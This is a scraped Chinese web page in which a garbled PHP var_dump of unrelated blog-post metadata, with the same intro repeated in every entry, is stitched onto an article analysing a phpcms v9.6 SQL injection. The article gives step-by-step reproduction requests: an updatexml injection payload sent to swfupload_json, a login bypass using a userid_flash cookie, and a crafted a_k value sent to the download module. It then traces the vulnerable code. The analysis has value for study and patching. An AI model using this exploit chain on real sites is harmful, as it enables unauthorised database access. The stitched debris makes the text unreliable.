array(2) { ["docs"]=> array(10) { [0]=> array(10) { ["id"]=> string(3) "428" ["text"]=> string(77) "Visual Studio 2017 单独启动MSDN帮助(Microsoft Help Viewer)的方法" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(8) "DonetRen" ["tagsname"]=> string(55) "Visual Studio 2017|MSDN帮助|C#程序|.NET|Help Viewer" ["tagsid"]=> string(23) "[401,402,403,"300",404]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511400964" ["_id"]=> string(3) "428" } [1]=> array(10) { ["id"]=> string(3) "427" ["text"]=> string(42) "npm -v;报错 cannot find module "wrapp"" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(4) "zzty" ["tagsname"]=> string(50) "node.js|npm|cannot find module "wrapp“|node" ["tagsid"]=> string(19) "[398,"239",399,400]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511400760" ["_id"]=> string(3) "427" } [2]=> array(10) { ["id"]=> string(3) "426" ["text"]=> string(54) "说说css中pt、px、em、rem都扮演了什么角色" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(12) "zhengqiaoyin" ["tagsname"]=> string(0) "" ["tagsid"]=> string(2) "[]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511400640" ["_id"]=> string(3) "426" } [3]=> array(10) { ["id"]=> string(3) "425" ["text"]=> string(83) "深入学习JS执行--创建执行上下文(变量对象,作用域链,this)" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(7) "Ry-yuan" ["tagsname"]=> string(33) "Javascript|Javascript执行过程" ["tagsid"]=> string(13) "["169","191"]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511399901" ["_id"]=> string(3) "425" } [4]=> array(10) { ["id"]=> string(3) "424" ["text"]=> string(30) "C# 排序技术研究与对比" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(9) "vveiliang" ["tagsname"]=> string(0) "" ["tagsid"]=> string(2) "[]" ["catesname"]=> string(8) ".Net Dev" ["catesid"]=> string(5) "[199]" ["createtime"]=> string(10) "1511399150" ["_id"]=> string(3) "424" } [5]=> array(10) { ["id"]=> string(3) "423" ["text"]=> string(72) "【算法】小白的算法笔记:快速排序算法的编码和优化" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(9) "penghuwan" ["tagsname"]=> string(6) "算法" ["tagsid"]=> string(7) "["344"]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511398109" ["_id"]=> string(3) "423" } [6]=> array(10) { ["id"]=> string(3) "422" ["text"]=> string(64) "JavaScript数据可视化编程学习(二)Flotr2,雷达图" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(7) "chengxs" ["tagsname"]=> string(28) "数据可视化|前端学习" ["tagsid"]=> string(9) "[396,397]" ["catesname"]=> string(18) "前端基本知识" ["catesid"]=> string(5) "[198]" ["createtime"]=> string(10) "1511397800" ["_id"]=> string(3) "422" } [7]=> array(10) { ["id"]=> string(3) "421" ["text"]=> string(36) "C#表达式目录树(Expression)" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(4) "wwym" ["tagsname"]=> string(0) "" ["tagsid"]=> string(2) "[]" ["catesname"]=> string(4) ".NET" ["catesid"]=> string(7) "["119"]" ["createtime"]=> string(10) "1511397474" ["_id"]=> string(3) "421" } [8]=> array(10) { ["id"]=> string(3) "420" ["text"]=> string(47) "数据结构 队列_队列实例:事件处理" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(7) "idreamo" ["tagsname"]=> string(40) "C语言|数据结构|队列|事件处理" ["tagsid"]=> string(23) "["246","247","248",395]" ["catesname"]=> string(12) "数据结构" ["catesid"]=> string(7) "["133"]" ["createtime"]=> string(10) "1511397279" ["_id"]=> string(3) "420" } [9]=> array(10) { ["id"]=> string(3) "419" ["text"]=> string(47) "久等了,博客园官方Android客户端发布" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(3) "cmt" ["tagsname"]=> string(0) "" ["tagsid"]=> string(2) "[]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511396549" ["_id"]=> string(3) "419" } } ["count"]=> int(200) } 222 phpcms v9.6 注入漏洞详细分析 - 爱码网
本文讲的是phpcms v9.6 注入漏洞详细分析搭建环境,我在本地搭建域名为www.joke33.com的测试环境。

打开burpsuite,进行拦截。

phpcms v9.6 注入漏洞详细分析

打开火狐浏览器,访问有漏洞的网站。

http://www.joke33.com/index.php

phpcms v9.6 注入漏洞详细分析

在burpsuite下可以看到拦截到的数据包,然后选择repeater进行重放。

修改数据包访问,以GET方式访问如下url:

/index.php?m=wap&c=index&a=init&siteid=1

获取一个cookie值。

phpcms v9.6 注入漏洞详细分析

修改数据包,以POST的方式访问如下url:

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

传入userid_flash变量,变量的值为刚刚获取到的cookie的值

userid_flash=5ceb9go-1e01hkQc66J1WS7jTWMYriQh6lODXwUnLIiTZh_k

在数据包头的结尾添加(这一步必须要,要不然复现失败。应该数据包的格式要求)

content-Type:application/x-www-form-urlencoded
content-Length:53

提交数据包,回返回一段加密的密文,将这段密文复制下来。

phpcms v9.6 注入漏洞详细分析

修改数据包,以POST的方式访问如下url:

/index.php?m=content&c=down&a_k=b2d2BO0WDcSf_BpiZ3UMBtiFx_4FRMv_1Mf35JQNq_ct__4JuWjwgdJjKmtTIZDn5WJBrexM-Nfg7S9J3QwB8U6vrFk3Fti5iJIkK6Gp6B6-ZSZsRKN4emXDpQAEeOD_IzG3kJ8B8ybdHIdytB3yjB7VI8fLm6fojfZOuCMD2iiERJE4aSBOTBM

a_k的值为上一步返回的那段密文。

提交之后即可成功复现漏洞。

phpcms v9.6 注入漏洞详细分析

我们来分析一下这个漏洞。

我们将漏洞分析分为三个部分:

第一部分

根据最后注入的漏洞url,跟进到phpcmsphpcmsmodulescontentdown.php文件

跟进到init()函数,这边的这几行代码是将$a_k的值进行解密

phpcms v9.6 注入漏洞详细分析

我们echo一下解密后的值

phpcms v9.6 注入漏洞详细分析

现在$a_k里面是一个字符串。

程序在后面会使用parse_str对每个变量进行赋值。(有些变量覆盖漏洞就是parse_str这个函数搞得事情)

phpcms v9.6 注入漏洞详细分析

这里我们分析一下parse_str函数,parse_str函数是将字符串解析成多个变量。

百度了一下,parse_str的大概格式如下:

parse_str("first=value&two=fooz");

中间有一个“&”符号,没有“&”符号会出错

所以,我们在进行注入的时候写的注入语句是

&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&

而不是

id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&

如果没有“&”符号,会发现注入的参数会变成空值,那就没有注入漏洞了

经过parse_str函数后,id的值就变成了可注入的值

phpcms v9.6 注入漏洞详细分析

跟进代码的第26行,程序直接用get_one函数带入有注入的语句进行数据库查询,所以导致了sql注入。

phpcms v9.6 注入漏洞详细分析

这边注入点的难点在于,怎么获取有漏洞$a_k,我们接下来看下怎么获取有漏洞$a_k值。

第二部分

跟着漏洞的思路,我们跟进到phpcmsphpcmsmodulesattachmentattachments.php文件

来到241行

phpcms v9.6 注入漏洞详细分析

发现这个src参数有经过safe_replace()函数的处理,但是并没有其他的过滤,我们可以拿过来利用。

我们以get方式传入有注入的src值,传入的参数会被记录到cookie的att_json里面。

phpcms v9.6 注入漏洞详细分析

这里面还有一个问题。

我们调用的swfupload_json()函数是在attachments这个类中,这个类有一个构造函数__construct。

phpcms v9.6 注入漏洞详细分析

我们看到构造函数会判断是否登录。

但是依据第17行的代码,我们可以知道,如果我们POST一个正常存在的userid_flash值,是可以绕过登录判断的。

我们跟进到sys_auth()函数

phpcms v9.6 注入漏洞详细分析

该函数是phpcms内cookie的加密解密函数,所有cookies下加密解密都会经过这个函数。

swfupload_json()函数调用的是sys_auth()的DECODE方式,也就是解密方式,我们可以找到一个调用的是sys_auth()的ENECODE方式的函数就能绕过了。

第三部分

我们跟进到phpcmsphpcmsmoduleswapindex.php文件

看下这个构造函数

phpcms v9.6 注入漏洞详细分析

跟进到set_cookie()函数

phpcms v9.6 注入漏洞详细分析

我们可以看到,set_cookie()这边调用了sys_auth()并且是ENCODE方式,并且计算出来的值保存在cookie里面,我们是可以获取到的。

那我们就可以拿过来用了,到这边我们就可以绕过登录限制了。




原文发布时间为:2017年5月9日
本文作者:angle
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

相关文章: